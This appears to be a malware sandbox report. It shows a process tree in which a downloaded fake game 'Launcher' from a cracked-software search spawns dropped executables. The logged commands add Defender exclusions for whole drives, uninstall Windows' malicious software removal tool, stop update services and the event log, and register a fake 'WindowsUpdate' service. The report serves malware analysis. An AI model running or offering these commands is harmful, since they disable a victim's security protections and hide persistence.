PID 1672 wrote to memory of 4572	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 4572	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 992	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 360	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 360	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 360	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 1216	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 1216	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 1216	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 1216	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 1216	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 1672 wrote to memory of 1216	1672	MicrosoftEdgeCP.exe	MicrosoftEdgeCP.exe
PID 5312 wrote to memory of 5384	5312	firefox.exe	firefox.exe
PID 5312 wrote to memory of 5384	5312	firefox.exe	firefox.exe
PID 5312 wrote to memory of 5384	5312	firefox.exe	firefox.exe
PID 5312 wrote to memory of 5384	5312	firefox.exe	firefox.exe
PID 5312 wrote to memory of 5384	5312	firefox.exe	firefox.exe
PID 5312 wrote to memory of 5384	5312	firefox.exe	firefox.exe
PID 5312 wrote to memory of 5384	5312	firefox.exe	firefox.exe
PID 5312 wrote to memory of 5384	5312	firefox.exe	firefox.exe
PID 5312 wrote to memory of 5384	5312	firefox.exe	firefox.exe
PID 5312 wrote to memory of 5384	5312	firefox.exe	firefox.exe
PID 5312 wrote to memory of 5384	5312	firefox.exe	firefox.exe
PID 5384 wrote to memory of 5560	5384	firefox.exe	firefox.exe
PID 5384 wrote to memory of 5560	5384	firefox.exe	firefox.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\LaunchWinApp.exe
"C:\Windows\system32\LaunchWinApp.exe" "https://github.com/search?q=valorant+cracked&type=repositories&s=updated&o=desc"
1⤵
PID:2768

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3804

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:308

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1672

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4924

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:3980

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:2768

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:4572

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:4556

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:876

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:992

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2168

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:360

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:2464

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:5048

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
PID:1216

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:1600

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5312

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
2⤵
- Checks processor information in registry
- Modifies registry class
- NTFS ADS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5384

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5384.0.943318254\2092368435" -parentBuildID 20221007134813 -prefsHandle 1696 -prefMapHandle 1664 -prefsLen 20747 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {7c36bff3-3fe7-45e5-99da-1626200c6e56} 5384 "\\.\pipe\gecko-crash-server-pipe.5384" 1776 1a3d2bea458 gpu
3⤵
PID:5560

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5384.1.1973995894\1169077357" -parentBuildID 20221007134813 -prefsHandle 2104 -prefMapHandle 2100 -prefsLen 20828 -prefMapSize 233444 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2b964ed9-5851-44d9-94d9-8132996b2741} 5384 "\\.\pipe\gecko-crash-server-pipe.5384" 2132 1a3d2af9558 socket
3⤵
PID:5624

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5384.2.1320697205\1028192477" -childID 1 -isForBrowser -prefsHandle 2884 -prefMapHandle 2708 -prefsLen 20931 -prefMapSize 233444 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {11037bc3-7d68-432f-a2c0-bd88bcfd2482} 5384 "\\.\pipe\gecko-crash-server-pipe.5384" 2720 1a3d6e9b158 tab
3⤵
PID:5156

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5384.3.1189221309\1487330587" -childID 2 -isForBrowser -prefsHandle 3516 -prefMapHandle 3504 -prefsLen 26109 -prefMapSize 233444 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {83160584-d571-4178-93c9-8ed0f3265d6b} 5384 "\\.\pipe\gecko-crash-server-pipe.5384" 1032 1a3c0761f58 tab
3⤵
PID:5836

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5384.4.2103031893\482613065" -childID 3 -isForBrowser -prefsHandle 4436 -prefMapHandle 4432 -prefsLen 26168 -prefMapSize 233444 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {255ee78e-732d-453a-b6cd-ffc000a829b1} 5384 "\\.\pipe\gecko-crash-server-pipe.5384" 3504 1a3d8e9c058 tab
3⤵
PID:3380

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5384.5.636876929\609049990" -childID 4 -isForBrowser -prefsHandle 4480 -prefMapHandle 2644 -prefsLen 26249 -prefMapSize 233444 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {90d0f25a-8dc8-416a-b4c1-fd96ec47a1f7} 5384 "\\.\pipe\gecko-crash-server-pipe.5384" 5024 1a3d9997858 tab
3⤵
PID:1396

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5384.6.799892675\863002330" -childID 5 -isForBrowser -prefsHandle 4580 -prefMapHandle 4576 -prefsLen 26249 -prefMapSize 233444 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {22343f41-a5af-46e5-af43-4d5604d112b9} 5384 "\\.\pipe\gecko-crash-server-pipe.5384" 4592 1a3d999a558 tab
3⤵
PID:5272

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5384.7.1469513001\1177669736" -childID 6 -isForBrowser -prefsHandle 5268 -prefMapHandle 5272 -prefsLen 26249 -prefMapSize 233444 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ef85c5af-5296-48b9-9c6d-b797101cfda8} 5384 "\\.\pipe\gecko-crash-server-pipe.5384" 5152 1a3d999a858 tab
3⤵
PID:5276

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5384.8.21655220\164986145" -childID 7 -isForBrowser -prefsHandle 5324 -prefMapHandle 5696 -prefsLen 26249 -prefMapSize 233444 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b04c7eb7-a879-469d-9bc5-1a60ee90c882} 5384 "\\.\pipe\gecko-crash-server-pipe.5384" 5744 1a3c0765958 tab
3⤵
PID:5100

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5384.9.2026992722\247144244" -parentBuildID 20221007134813 -prefsHandle 5680 -prefMapHandle 5668 -prefsLen 26249 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {18abe3be-ad04-4de2-8c94-54c1daa413af} 5384 "\\.\pipe\gecko-crash-server-pipe.5384" 5308 1a3c07c6c58 rdd
3⤵
PID:5672

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5384.10.2041916708\1424440926" -parentBuildID 20221007134813 -sandboxingKind 1 -prefsHandle 5776 -prefMapHandle 5272 -prefsLen 26249 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {63692732-dc94-4c58-8f60-7c016f8e5fad} 5384 "\\.\pipe\gecko-crash-server-pipe.5384" 5924 1a3dacbb958 utility
3⤵
PID:5436

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5384.11.12538759\1424174548" -childID 8 -isForBrowser -prefsHandle 6288 -prefMapHandle 3828 -prefsLen 26864 -prefMapSize 233444 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {88b4db4b-9015-40ec-81de-6d79efc1be5a} 5384 "\\.\pipe\gecko-crash-server-pipe.5384" 5160 1a3dacb9258 tab
3⤵
PID:3980

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="5384.12.2072024831\1103879592" -childID 9 -isForBrowser -prefsHandle 6448 -prefMapHandle 6520 -prefsLen 26864 -prefMapSize 233444 -jsInitHandle 1148 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f9b23da1-a5ba-4122-a286-19eaba77b0f4} 5384 "\\.\pipe\gecko-crash-server-pipe.5384" 6540 1a3dada7258 tab
3⤵
PID:4552

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:308

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:808

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\" -an -ai#7zMap28554:88:7zEvent23354
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2700

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\New folder\Launcherkasdk\" -spe -an -ai#7zMap32310:110:7zEvent1811
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3672

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\New folder\Launcherkasdk\readme.txt
1⤵
PID:5824

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\New folder\Launcherkasdk\Launcher\" -spe -an -ai#7zMap2685:128:7zEvent17882
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:700

C:\Users\Admin\Downloads\New folder\Launcherkasdk\Launcher\Laucnherfkaskdk.exe
"C:\Users\Admin\Downloads\New folder\Launcherkasdk\Launcher\Laucnherfkaskdk.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5116

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\blwfuphd\blwfuphd.cmdline"
2⤵
- Suspicious use of SetWindowsHookEx
PID:308

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4307.tmp" "c:\Users\Admin\AppData\Local\Temp\blwfuphd\CSCEE02104ABF0C486BBCE7DD4265F3D142.TMP"
3⤵
PID:4360

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4496

C:\update\0zkmbcv.exe
"C:\update\0zkmbcv.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4452

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1016

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:4548

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
4⤵
PID:2504

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
3⤵
PID:2444

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:2008

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
3⤵
- Launches sc.exe
PID:2920

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
3⤵
PID:1636

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
3⤵
PID:2896

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "WindowsUpdate"
3⤵
PID:2872

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "WindowsUpdate" binpath= "C:\ProgramData\Windows11\Updater.exe" start= "auto"
3⤵
PID:4608

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
- Launches sc.exe
PID:3408

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "WindowsUpdate"
3⤵
PID:1308

C:\update\oxrkytp.exe
"C:\update\oxrkytp.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:5028

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4248

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kpauf1lc\kpauf1lc.cmdline"
2⤵
- Suspicious use of SetWindowsHookEx
PID:5644

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1849.tmp" "c:\Users\Admin\AppData\Local\Temp\kpauf1lc\CSC954C5458838F4E8EA1144D2D13ECBF70.TMP"
3⤵
PID:1376

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:1340

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dtmbn4dr\dtmbn4dr.cmdline"
2⤵
- Suspicious use of SetWindowsHookEx
PID:1192

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3EBC.tmp" "c:\Users\Admin\AppData\Local\Temp\dtmbn4dr\CSCAF4FE50634D048A78D1784AA78FA8B40.TMP"
3⤵
PID:5880

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\'"
2⤵
- Command and Scripting Interpreter: PowerShell
PID:5596

C:\update\tmp2dwv.exe
"C:\update\tmp2dwv.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:5672

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
3⤵
- Command and Scripting Interpreter: PowerShell
PID:3508

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:1852

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:5500

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
4⤵
PID:1340

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
3⤵
PID:4776

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
3⤵
PID:1672

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:5076

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
3⤵
PID:4632

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
3⤵
- Launches sc.exe
PID:4844

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
3⤵
PID:5708

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
- Launches sc.exe
PID:4352

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "WindowsUpdate"
3⤵
PID:3332

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\f3eo3fcw\f3eo3fcw.cmdline"
2⤵
- Suspicious use of SetWindowsHookEx
PID:2716

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4592.tmp" "c:\Users\Admin\AppData\Local\Temp\f3eo3fcw\CSC6C2125F4CC224A9F9328D6B35C2344C9.TMP"
3⤵
PID:4800

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2g2hap3x\2g2hap3x.cmdline"
2⤵
- Suspicious use of SetWindowsHookEx
PID:1348

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES44E6.tmp" "c:\Users\Admin\AppData\Local\Temp\2g2hap3x\CSCA900E90AB5E47038EF2D1E52DD578FF.TMP"
3⤵
PID:1892

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\n3rtq0dr\n3rtq0dr.cmdline"
2⤵
- Suspicious use of SetWindowsHookEx
PID:5500

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4515.tmp" "c:\Users\Admin\AppData\Local\Temp\n3rtq0dr\CSCDF7640D5752C404488D8193EC6AE3AC6.TMP"
3⤵
PID:2572

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dtggfau1\dtggfau1.cmdline"
2⤵
- Suspicious use of SetWindowsHookEx
